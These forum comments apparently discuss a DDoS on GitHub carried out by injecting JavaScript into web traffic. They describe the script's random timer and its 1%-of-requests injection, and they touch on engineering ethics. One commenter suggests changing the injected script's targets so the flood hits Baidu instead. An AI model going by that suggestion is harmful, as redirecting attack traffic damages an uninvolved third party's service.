For those curious, see below for a write up of the malicious javascript (uses a simple ajax call & random number timer): http://insight-labs.org/?p=1682

We knew the world would not be the same. A few people laughed, a few people cried, most people were silent. I remembered the line from the Hindu scripture, the Bhagavad-Gita... "Now, I am become Death, the destroyer of worlds."
Any engineer worth his salt absolutely understands the consequences of their actions on the world. Sometimes they understand a bit too late.
Good engineers do care. Don't mistake "being an engineer" with "being apathetic".
The OP further clarifies why jQuery is injected _twice_: seems the injection is occurring only for 1% of requests. So it appears the code is looking to see if it has triggered the injection itself, and fires another request if needed.
Most likely unrelated to North Korea and used for propagandistic purposes (including publicity for a below par movie).
If that is the case, why not do something even more radical in the response like changing the targeted urls ? They could replace them by baidu urls for example, effectively transforming a DDoS against github into a DDoS against baidu (not saying baidu is the author of the attack here, but that would certainly have an impact on the traffic being monitored by the GFW).
